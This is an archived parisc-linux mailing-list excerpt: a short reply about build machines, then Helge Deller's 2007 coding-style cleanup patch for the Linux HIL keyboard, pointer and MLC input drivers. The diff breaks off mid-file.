X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sL6/LzxUaHI+4aWnKSUlt5JqamdhZMSq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24379

> John, what's the fastest non-PA8800 machine you have right now? Would a dual
> 750MHz j6700 help you?

c3750 (875 MHz).  This one is is subject to the thread timing bug.

I'm out of ethernet connections and NRC doesn't like switches, so
I can't easily add new machines.  I could swap out the c3750 for
the j6700.  It would probably would build gcc faster.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PARISC] fix uninitialized spinlock in HIL
	keyboard driver (second input patch - coding style cleanup)
Date: Mon, 19 Feb 2007 21:39:02 +0100
Lines: 2346
Approved: news@gmane.org
Message-ID: <200702192139.02814.deller__45279.092124156$1416624307$gmane$org@gmx.de>
References: <11717457251848-git-send-email-kyle@parisc-linux.org>
	<200702181615.14056.deller@gmx.de>
	<200702181655.14483.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624307 22995 80.91.229.3 (22 Nov 2014 02:45:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:07 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: Dmitry Torokhov <dtor@insightbb.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 20:39:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 19 Feb 2007 21:39:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 368117DC26;
	Mon, 19 Feb 2007 13:39:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14041-09; Mon, 19 Feb 2007 13:39:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01F0D7DC11;
	Mon, 19 Feb 2007 13:39:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FFA07DC0F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 13:39:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14025-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 13:39:09 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B6AA47DC0C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 13:39:08 -0700 (MST)
Original-Received: (qmail invoked by alias); 19 Feb 2007 20:39:06 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <200702181655.14483.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yTzvdBcDbUkosOnGPWgnf0tkZ2hlN4rP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24380

Hi Dmitry,
 
This the second (and last) patch which cleanes up the coding-style and it should apply on top of the previous patch I sent you yesterday.

----------
Input: HIL - cleanup coding style
Signed-off-by: Helge Deller <deller@gmx.de>
----------

diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
index 1ebab49..6c28c69 100644
--- a/drivers/input/keyboard/hil_kbd.c
+++ b/drivers/input/keyboard/hil_kbd.c
@@ -95,9 +95,11 @@ static void hil_kbd_process_record(struc
 	p = data[idx - 1];
 
 	if ((p & ~HIL_CMDCT_POL) ==
-	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_POL)) goto report;
+	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_POL))
+		goto report;
 	if ((p & ~HIL_CMDCT_RPL) ==
-	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_RPL)) goto report;
+	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_RPL))
+		goto report;
 
 	/* Not a poll response.  See if we are loading config records. */
 	switch (p & HIL_PKT_DATA_MASK) {
@@ -107,27 +109,32 @@ static void hil_kbd_process_record(struc
 		for (; i < HIL_KBD_MAX_LENGTH; i++)
 			kbd->idd[i] = 0;
 		break;
+
 	case HIL_CMD_RSC:
 		for (i = 0; i < idx; i++)
 			kbd->rsc[i] = kbd->data[i] & HIL_PKT_DATA_MASK;
 		for (; i < HIL_KBD_MAX_LENGTH; i++)
 			kbd->rsc[i] = 0;
 		break;
+
 	case HIL_CMD_EXD:
 		for (i = 0; i < idx; i++)
 			kbd->exd[i] = kbd->data[i] & HIL_PKT_DATA_MASK;
 		for (; i < HIL_KBD_MAX_LENGTH; i++)
 			kbd->exd[i] = 0;
 		break;
+
 	case HIL_CMD_RNM:
 		for (i = 0; i < idx; i++)
 			kbd->rnm[i] = kbd->data[i] & HIL_PKT_DATA_MASK;
 		for (; i < HIL_KBD_MAX_LENGTH + 1; i++)
 			kbd->rnm[i] = '\0';
 		break;
+
 	default:
 		/* These occur when device isn't present */
-		if (p == (HIL_ERR_INT | HIL_PKT_CMD)) break;
+		if (p == (HIL_ERR_INT | HIL_PKT_CMD))
+			break;
 		/* Anything else we'd like to know about. */
 		printk(KERN_WARNING PREFIX "Device sent unknown record %x\n", p);
 		break;
@@ -139,16 +146,19 @@ static void hil_kbd_process_record(struc
 	switch (kbd->data[0] & HIL_POL_CHARTYPE_MASK) {
 	case HIL_POL_CHARTYPE_NONE:
 		break;
+
 	case HIL_POL_CHARTYPE_ASCII:
 		while (cnt < idx - 1)
 			input_report_key(dev, kbd->data[cnt++] & 0x7f, 1);
 		break;
+
 	case HIL_POL_CHARTYPE_RSVD1:
 	case HIL_POL_CHARTYPE_RSVD2:
 	case HIL_POL_CHARTYPE_BINARY:
 		while (cnt < idx - 1)
 			input_report_key(dev, kbd->data[cnt++], 1);
 		break;
+
 	case HIL_POL_CHARTYPE_SET1:
 		while (cnt < idx - 1) {
 			unsigned int key;
@@ -161,6 +171,7 @@ static void hil_kbd_process_record(struc
 				input_report_key(dev, key, !up);
 		}
 		break;
+
 	case HIL_POL_CHARTYPE_SET2:
 		while (cnt < idx - 1) {
 			unsigned int key;
@@ -173,6 +184,7 @@ static void hil_kbd_process_record(struc
 				input_report_key(dev, key, !up);
 		}
 		break;
+
 	case HIL_POL_CHARTYPE_SET3:
 		while (cnt < idx - 1) {
 			unsigned int key;
@@ -191,42 +203,43 @@ static void hil_kbd_process_record(struc
 	up(&kbd->sem);
 }
 
-static void hil_kbd_process_err(struct hil_kbd *kbd) {
+static void hil_kbd_process_err(struct hil_kbd *kbd)
+{
 	printk(KERN_WARNING PREFIX "errored HIL packet\n");
 	kbd->idx4 = 0;
 	up(&kbd->sem);
 }
 
 static irqreturn_t hil_kbd_interrupt(struct serio *serio,
-	      unsigned char data, unsigned int flags)
+				unsigned char data, unsigned int flags)
 {
 	struct hil_kbd *kbd;
 	hil_packet packet;
 	int idx;
 
 	kbd = serio_get_drvdata(serio);
-	if (kbd == NULL) {
-		BUG();
-		return IRQ_HANDLED;
-	}
+	BUG_ON(kbd == NULL);
 
 	if (kbd->idx4 >= (HIL_KBD_MAX_LENGTH * sizeof(hil_packet))) {
 		hil_kbd_process_err(kbd);
 		return IRQ_HANDLED;
 	}
 	idx = kbd->idx4/4;
-	if (!(kbd->idx4 % 4)) kbd->data[idx] = 0;
+	if (!(kbd->idx4 % 4))
+		kbd->data[idx] = 0;
 	packet = kbd->data[idx];
 	packet |= ((hil_packet)data) << ((3 - (kbd->idx4 % 4)) * 8);
 	kbd->data[idx] = packet;
 
 	/* Records of N 4-byte hil_packets must terminate with a command. */
-	if ((++(kbd->idx4)) % 4) return IRQ_HANDLED;
+	if ((++(kbd->idx4)) % 4)
+		return IRQ_HANDLED;
 	if ((packet & 0xffff0000) != HIL_ERR_INT) {
 		hil_kbd_process_err(kbd);
 		return IRQ_HANDLED;
 	}
-	if (packet & HIL_PKT_CMD) hil_kbd_process_record(kbd);
+	if (packet & HIL_PKT_CMD)
+		hil_kbd_process_record(kbd);
 	return IRQ_HANDLED;
 }
 
@@ -235,10 +248,7 @@ static void hil_kbd_disconnect(struct se
 	struct hil_kbd *kbd;
 
 	kbd = serio_get_drvdata(serio);
-	if (kbd == NULL) {
-		BUG();
-		return;
-	}
+	BUG_ON(kbd == NULL);
 
 	serio_close(serio);
 	input_unregister_device(kbd->dev);
@@ -267,34 +277,34 @@ static int hil_kbd_connect(struct serio 
 	serio_set_drvdata(serio, kbd);
 	kbd->serio = serio;
 
-	init_MUTEX_LOCKED(&(kbd->sem));
+	init_MUTEX_LOCKED(&kbd->sem);
 
 	/* Get device info.  MLC driver supplies devid/status/etc. */
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_IDD);
-	down(&(kbd->sem));
+	down(&kbd->sem);
 
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_RSC);
-	down(&(kbd->sem));
+	down(&kbd->sem);
 
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_RNM);
-	down(&(kbd->sem));
+	down(&kbd->sem);
 
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_EXD);
-	down(&(kbd->sem));
+	down(&kbd->sem);
 
-	up(&(kbd->sem));
+	up(&kbd->sem);
 
 	did = kbd->idd[0];
 	idd = kbd->idd + 1;
@@ -310,12 +320,11 @@ static int hil_kbd_connect(struct serio 
 		goto bail2;
 	}
 
-	if(HIL_IDD_NUM_BUTTONS(idd) || HIL_IDD_NUM_AXES_PER_SET(*idd)) {
+	if (HIL_IDD_NUM_BUTTONS(idd) || HIL_IDD_NUM_AXES_PER_SET(*idd)) {
 		printk(KERN_INFO PREFIX "keyboards only, no combo devices supported.\n");
 		goto bail2;
 	}
 
-
 	kbd->dev->evbit[0]	= BIT(EV_KEY) | BIT(EV_REP);
 	kbd->dev->ledbit[0]	= BIT(LED_NUML) | BIT(LED_CAPSL) | BIT(LED_SCROLLL);
 	kbd->dev->keycodemax	= HIL_KEYCODES_SET1_TBLSIZE;
@@ -344,8 +353,8 @@ static int hil_kbd_connect(struct serio 
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_EK1); /* Enable Keyswitch Autorepeat 1 */
-	down(&(kbd->sem));
-	up(&(kbd->sem));
+	down(&kbd->sem);
+	up(&kbd->sem);
 
 	return 0;
  bail2:
@@ -383,11 +392,11 @@ static int __init hil_kbd_init(void)
 {
 	return serio_register_driver(&hil_kbd_serio_drv);
 }
-              
+
 static void __exit hil_kbd_exit(void)
 {
 	serio_unregister_driver(&hil_kbd_serio_drv);
 }
-                      
+
 module_init(hil_kbd_init);
 module_exit(hil_kbd_exit);
diff --git a/drivers/input/mouse/hil_ptr.c b/drivers/input/mouse/hil_ptr.c
index 61bbff9..79977fc 100644
--- a/drivers/input/mouse/hil_ptr.c
+++ b/drivers/input/mouse/hil_ptr.c
@@ -89,9 +89,11 @@ static void hil_ptr_process_record(struc
 	p = data[idx - 1];
 
 	if ((p & ~HIL_CMDCT_POL) ==
-	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_POL)) goto report;
+	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_POL))
+		goto report;
 	if ((p & ~HIL_CMDCT_RPL) ==
-	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_RPL)) goto report;
+	    (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_RPL))
+		goto report;
 
 	/* Not a poll response.  See if we are loading config records. */
 	switch (p & HIL_PKT_DATA_MASK) {
@@ -101,27 +103,32 @@ static void hil_ptr_process_record(struc
 		for (; i < HIL_PTR_MAX_LENGTH; i++)
 			ptr->idd[i] = 0;
 		break;
+
 	case HIL_CMD_RSC:
 		for (i = 0; i < idx; i++)
 			ptr->rsc[i] = ptr->data[i] & HIL_PKT_DATA_MASK;
 		for (; i < HIL_PTR_MAX_LENGTH; i++)
 			ptr->rsc[i] = 0;
 		break;
+
 	case HIL_CMD_EXD:
 		for (i = 0; i < idx; i++)
 			ptr->exd[i] = ptr->data[i] & HIL_PKT_DATA_MASK;
 		for (; i < HIL_PTR_MAX_LENGTH; i++)
 			ptr->exd[i] = 0;
 		break;
+
 	case HIL_CMD_RNM:
 		for (i = 0; i < idx; i++)
 			ptr->rnm[i] = ptr->data[i] & HIL_PKT_DATA_MASK;
 		for (; i < HIL_PTR_MAX_LENGTH + 1; i++)
-			ptr->rnm[i] = '\0';
+			ptr->rnm[i] = 0;
 		break;
+
 	default:
 		/* These occur when device isn't present */
-		if (p == (HIL_ERR_INT | HIL_PKT_CMD)) break;
+		if (p == (HIL_ERR_INT | HIL_PKT_CMD))
+			break;
 		/* Anything else we'd like to know about. */
 		printk(KERN_WARNING PREFIX "Device sent unknown record %x\n", p);
 		break;
@@ -130,7 +137,8 @@ static void hil_ptr_process_record(struc
 
  report:
 	if ((p & HIL_CMDCT_POL) != idx - 1) {
-		printk(KERN_WARNING PREFIX "Malformed poll packet %x (idx = %i)\n", p, idx);
+		printk(KERN_WARNING PREFIX
+			"Malformed poll packet %x (idx = %i)\n", p, idx);
 		goto out;
 	}
 
@@ -157,7 +165,8 @@ static void hil_ptr_process_record(struc
 			input_report_abs(dev, ABS_X + i, val);
 		} else {
 			val = (int) (((int8_t)lo) | ((int8_t)hi<<8));
-			if (i%3) val *= -1;
+			if (i%3)
+				val *= -1;
 			input_report_rel(dev, REL_X + i, val);
 		}
 	}
@@ -168,10 +177,11 @@ static void hil_ptr_process_record(struc
 		btn = ptr->data[cnt++];
 		up = btn & 1;
 		btn &= 0xfe;
-		if (btn == 0x8e) {
+		if (btn == 0x8e)
 			continue; /* TODO: proximity == touch? */
-		}
-		else if ((btn > 0x8c) || (btn < 0x80)) continue;
+		else
+			if ((btn > 0x8c) || (btn < 0x80))
+				continue;
 		btn = (btn - 0x80) >> 1;
 		btn = ptr->btnmap[btn];
 		input_report_key(dev, btn, !up);
@@ -182,11 +192,11 @@ static void hil_ptr_process_record(struc
 	up(&ptr->sem);
 }
 
-static void hil_ptr_process_err(struct hil_ptr *ptr) {
+static void hil_ptr_process_err(struct hil_ptr *ptr)
+{
 	printk(KERN_WARNING PREFIX "errored HIL packet\n");
 	ptr->idx4 = 0;
 	up(&ptr->sem);
-	return;
 }
 
 static irqreturn_t hil_ptr_interrupt(struct serio *serio,
@@ -197,29 +207,29 @@ static irqreturn_t hil_ptr_interrupt(str
 	int idx;
 
 	ptr = serio_get_drvdata(serio);
-	if (ptr == NULL) {
-		BUG();
-		return IRQ_HANDLED;
-	}
+	BUG_ON(ptr == NULL);
 
 	if (ptr->idx4 >= (HIL_PTR_MAX_LENGTH * sizeof(hil_packet))) {
 		hil_ptr_process_err(ptr);
 		return IRQ_HANDLED;
 	}
 	idx = ptr->idx4/4;
-	if (!(ptr->idx4 % 4)) ptr->data[idx] = 0;
+	if (!(ptr->idx4 % 4))
+		ptr->data[idx] = 0;
 	packet = ptr->data[idx];
 	packet |= ((hil_packet)data) << ((3 - (ptr->idx4 % 4)) * 8);
 	ptr->data[idx] = packet;
 
 	/* Records of N 4-byte hil_packets must terminate with a command. */
-	if ((++(ptr->idx4)) % 4) return IRQ_HANDLED;
+	if ((++(ptr->idx4)) % 4)
+		return IRQ_HANDLED;
 	if ((packet & 0xffff0000) != HIL_ERR_INT) {
 		hil_ptr_process_err(ptr);
 		return IRQ_HANDLED;
 	}
 	if (packet & HIL_PKT_CMD)
 		hil_ptr_process_record(ptr);
+
 	return IRQ_HANDLED;
 }
 
@@ -228,10 +238,7 @@ static void hil_ptr_disconnect(struct se
 	struct hil_ptr *ptr;
 
 	ptr = serio_get_drvdata(serio);
-	if (ptr == NULL) {
-		BUG();
-		return;
-	}
+	BUG_ON(ptr == NULL);
 
 	serio_close(serio);
 	input_unregister_device(ptr->dev);
@@ -241,7 +248,7 @@ static void hil_ptr_disconnect(struct se
 static int hil_ptr_connect(struct serio *serio, struct serio_driver *driver)
 {
 	struct hil_ptr	 *ptr;
-	char		 *txt;
+	const char	 *txt;
 	unsigned int	 i, naxsets, btntype;
 	uint8_t		 did, *idd;
 
@@ -260,34 +267,34 @@ static int hil_ptr_connect(struct serio 
 	serio_set_drvdata(serio, ptr);
 	ptr->serio = serio;
 
-	init_MUTEX_LOCKED(&(ptr->sem));
+	init_MUTEX_LOCKED(&ptr->sem);
 
 	/* Get device info.  MLC driver supplies devid/status/etc. */
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_IDD);
-	down(&(ptr->sem));
+	down(&ptr->sem);
 
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_RSC);
-	down(&(ptr->sem));
+	down(&ptr->sem);
 
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_RNM);
-	down(&(ptr->sem));
+	down(&ptr->sem);
 
 	serio->write(serio, 0);
 	serio->write(serio, 0);
 	serio->write(serio, HIL_PKT_CMD >> 8);
 	serio->write(serio, HIL_CMD_EXD);
-	down(&(ptr->sem));
+	down(&ptr->sem);
 
-	up(&(ptr->sem));
+	up(&ptr->sem);
 
 	did = ptr->idd[0];
 	idd = ptr->idd + 1;
@@ -301,12 +308,12 @@ static int hil_ptr_connect(struct serio 
 		ptr->dev->evbit[0] = BIT(EV_ABS);
 		txt = "absolute";
 	}
-	if (!ptr->dev->evbit[0]) {
+	if (!ptr->dev->evbit[0])
 		goto bail2;
-	}
 
 	ptr->nbtn = HIL_IDD_NUM_BUTTONS(idd);
-	if (ptr->nbtn) ptr->dev->evbit[0] |= BIT(EV_KEY);
+	if (ptr->nbtn)
+		ptr->dev->evbit[0] |= BIT(EV_KEY);
 
 	naxsets = HIL_IDD_NUM_AXSETS(*idd);
 	ptr->naxes = HIL_IDD_NUM_AXES_PER_SET(*idd);
@@ -341,12 +348,10 @@ static int hil_ptr_connect(struct serio 
 	}
 
 	if ((did & HIL_IDD_DID_TYPE_MASK) == HIL_IDD_DID_TYPE_REL) {
-		for (i = 0; i < ptr->naxes; i++) {
+		for (i = 0; i < ptr->naxes; i++)
 			set_bit(REL_X + i, ptr->dev->relbit);
-		}
-		for (i = 3; (i < ptr->naxes + 3) && (naxsets > 1); i++) {
+		for (i = 3; (i < ptr->naxes + 3) && (naxsets > 1); i++)
 			set_bit(REL_X + i, ptr->dev->relbit);
-		}
 	} else {
 		for (i = 0; i < ptr->naxes; i++) {
 			set_bit(ABS_X + i, ptr->dev->absbit);
diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index 5c3fc23..e45aaab 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -83,69 +83,85 @@ DECLARE_TASKLET_DISABLED(hil_mlcs_taskle
 
 /********************** Device info/instance management **********************/
 
-static void hil_mlc_clear_di_map (hil_mlc *mlc, int val) {
+static void hil_mlc_clear_di_map(hil_mlc *mlc, int val)
+{
 	int j;
-	for (j = val; j < 7 ; j++) {
+
+	for (j = val; j < 7 ; j++)
 		mlc->di_map[j] = -1;
-	}
 }
 
-static void hil_mlc_clear_di_scratch (hil_mlc *mlc) {
-	memset(&(mlc->di_scratch), 0, sizeof(mlc->di_scratch));
+static void hil_mlc_clear_di_scratch(hil_mlc *mlc)
+{
+	memset(&mlc->di_scratch, 0, sizeof(mlc->di_scratch));
 }
 
-static void hil_mlc_copy_di_scratch (hil_mlc *mlc, int idx) {
-	memcpy(&(mlc->di[idx]), &(mlc->di_scratch), sizeof(mlc->di_scratch));
+static void hil_mlc_copy_di_scratch(hil_mlc *mlc, int idx)
+{
+	memcpy(&mlc->di[idx], &mlc->di_scratch, sizeof(mlc->di_scratch));
 }
 
-static int hil_mlc_match_di_scratch (hil_mlc *mlc) {
+static int hil_mlc_match_di_scratch(hil_mlc *mlc)
+{
 	int idx;
 
 	for (idx = 0; idx < HIL_MLC_DEVMEM; idx++) {
-		int j, found;
+		int j, found = 0;
 
 		/* In-use slots are not eligible. */
-		found = 0;
-		for (j = 0; j < 7 ; j++) {
-			if (mlc->di_map[j] == idx) found++;
-		}
-		if (found) continue;
-		if (!memcmp(mlc->di + idx,
-			    &(mlc->di_scratch),
-			    sizeof(mlc->di_scratch))) break;
+		for (j = 0; j < 7 ; j++)
+			if (mlc->di_map[j] == idx)
+				found++;
+
+		if (found)
+			continue;
+
+		if (!memcmp(mlc->di + idx, &mlc->di_scratch,
+				sizeof(mlc->di_scratch)))
+			break;
 	}
-	return((idx >= HIL_MLC_DEVMEM) ? -1 : idx);
+	return idx >= HIL_MLC_DEVMEM ? -1 : idx;
 }
 
-static int hil_mlc_find_free_di(hil_mlc *mlc) {
+static int hil_mlc_find_free_di(hil_mlc *mlc)
+{
 	int idx;
+
 	/* TODO: Pick all-zero slots first, failing that,
 	 * randomize the slot picked among those eligible.
 	 */
 	for (idx = 0; idx < HIL_MLC_DEVMEM; idx++) {
-		int j, found;
-		found = 0;
-		for (j = 0; j < 7 ; j++) {
-			if (mlc->di_map[j] == idx) found++;
-		}
-		if (!found) break;
+		int j, found = 0;
+
+		for (j = 0; j < 7 ; j++)
+			if (mlc->di_map[j] == idx)
+				found++;
+
+		if (!found)
+			break;
 	}
-	return(idx); /* Note: It is guaranteed at least one above will match */
+
+	return idx; /* Note: It is guaranteed at least one above will match */
 }
 
-static inline void hil_mlc_clean_serio_map(hil_mlc *mlc) {
+static inline void hil_mlc_clean_serio_map(hil_mlc *mlc)
+{
 	int idx;
+
 	for (idx = 0; idx < HIL_MLC_DEVMEM; idx++) {
-		int j, found;
-		found = 0;
-		for (j = 0; j < 7 ; j++) {
-			if (mlc->di_map[j] == idx) found++;
-		}
-		if (!found) mlc->serio_map[idx].di_revmap = -1;
+		int j, found = 0;
+
+		for (j = 0; j < 7 ; j++)
+			if (mlc->di_map[j] == idx)
+				found++;
+
+		if (!found)
+			mlc->serio_map[idx].di_revmap = -1;
 	}
 }
 
-static void hil_mlc_send_polls(hil_mlc *mlc) {
+static void hil_mlc_send_polls(hil_mlc *mlc)
+{
 	int did, i, cnt;
 	struct serio *serio;
 	struct serio_driver *drv;
@@ -157,26 +173,31 @@ static void hil_mlc_send_polls(hil_mlc *
 
 	while (mlc->icount < 15 - i) {
 		hil_packet p;
+
 		p = mlc->ipacket[i];
 		if (did != (p & HIL_PKT_ADDR_MASK) >> 8) {
-			if (drv == NULL || drv->interrupt == NULL) goto skip;
+			if (drv && drv->interrupt) {
+				drv->interrupt(serio, 0, 0);
+				drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
+				drv->interrupt(serio, HIL_PKT_CMD >> 8,  0);
+				drv->interrupt(serio, HIL_CMD_POL + cnt, 0);
+			}
 
-			drv->interrupt(serio, 0, 0);
-			drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
-			drv->interrupt(serio, HIL_PKT_CMD >> 8,  0);
-			drv->interrupt(serio, HIL_CMD_POL + cnt, 0);
-		skip:
 			did = (p & HIL_PKT_ADDR_MASK) >> 8;
 			serio = did ? mlc->serio[mlc->di_map[did-1]] : NULL;
 			drv = (serio != NULL) ? serio->drv : NULL;
 			cnt = 0;
 		}
-		cnt++; i++;
-		if (drv == NULL || drv->interrupt == NULL) continue;
-		drv->interrupt(serio, (p >> 24), 0);
-		drv->interrupt(serio, (p >> 16) & 0xff, 0);
-		drv->interrupt(serio, (p >> 8) & ~HIL_PKT_ADDR_MASK, 0);
-		drv->interrupt(serio, p & 0xff, 0);
+
+		cnt++;
+		i++;
+
+		if (drv && drv->interrupt) {
+			drv->interrupt(serio, (p >> 24), 0);
+			drv->interrupt(serio, (p >> 16) & 0xff, 0);
+			drv->interrupt(serio, (p >> 8) & ~HIL_PKT_ADDR_MASK, 0);
+			drv->interrupt(serio, p & 0xff, 0);
+		}
 	}
 }
 
@@ -215,12 +236,16 @@ static void hil_mlc_send_polls(hil_mlc *
 #define HILSEN_DOZE	(HILSEN_SAME | HILSEN_SCHED | HILSEN_BREAK)
 #define HILSEN_SLEEP	(HILSEN_SAME | HILSEN_BREAK)
 
-static int hilse_match(hil_mlc *mlc, int unused) {
+static int hilse_match(hil_mlc *mlc, int unused)
+{
 	int rc;
+
 	rc = hil_mlc_match_di_scratch(mlc);
 	if (rc == -1) {
 		rc = hil_mlc_find_free_di(mlc);
-		if (rc == -1) goto err;
+		if (rc == -1)
+			goto err;
+
 #ifdef HIL_MLC_DEBUG
 		printk(KERN_DEBUG PREFIX "new in slot %i\n", rc);
 #endif
@@ -231,6 +256,7 @@ static int hilse_match(hil_mlc *mlc, int
 		serio_rescan(mlc->serio[rc]);
 		return -1;
 	}
+
 	mlc->di_map[mlc->ddi] = rc;
 #ifdef HIL_MLC_DEBUG
 	printk(KERN_DEBUG PREFIX "same in slot %i\n", rc);
@@ -238,45 +264,53 @@ static int hilse_match(hil_mlc *mlc, int
 	mlc->serio_map[rc].di_revmap = mlc->ddi;
